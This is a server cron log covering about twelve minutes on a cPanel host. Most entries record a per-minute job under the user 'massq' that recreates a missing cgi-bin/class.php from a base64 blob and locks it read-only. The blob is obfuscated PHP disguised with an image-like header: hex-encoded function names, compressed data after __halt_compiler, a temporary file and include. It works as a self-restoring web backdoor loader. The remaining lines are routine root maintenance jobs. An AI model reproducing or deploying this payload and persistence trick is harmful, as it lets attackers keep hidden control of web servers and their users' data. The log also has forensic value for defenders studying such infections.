Nov  9 22:33:01 server CROND[10971]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:34:01 server CROND[11860]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:35:01 server CROND[12667]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 22:35:01 server CROND[12670]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 22:35:01 server CROND[12669]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 22:35:01 server CROND[12672]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 22:35:01 server CROND[12671]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:36:01 server CROND[13506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:37:02 server CROND[14314]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:38:01 server CROND[15120]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:39:01 server CROND[15923]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 22:39:01 server CROND[15924]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:40:01 server CROND[16745]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 22:40:01 server CROND[16748]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:40:01 server CROND[16750]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 22:40:01 server CROND[16749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 22:41:01 server CROND[17744]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:42:01 server CROND[18051]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:42:01 server CROND[18052]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 22:43:01 server CROND[18809]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:44:01 server CROND[19613]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:45:01 server CROND[20441]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:45:01 server CROND[20442]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 22:45:01 server CROND[20443]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
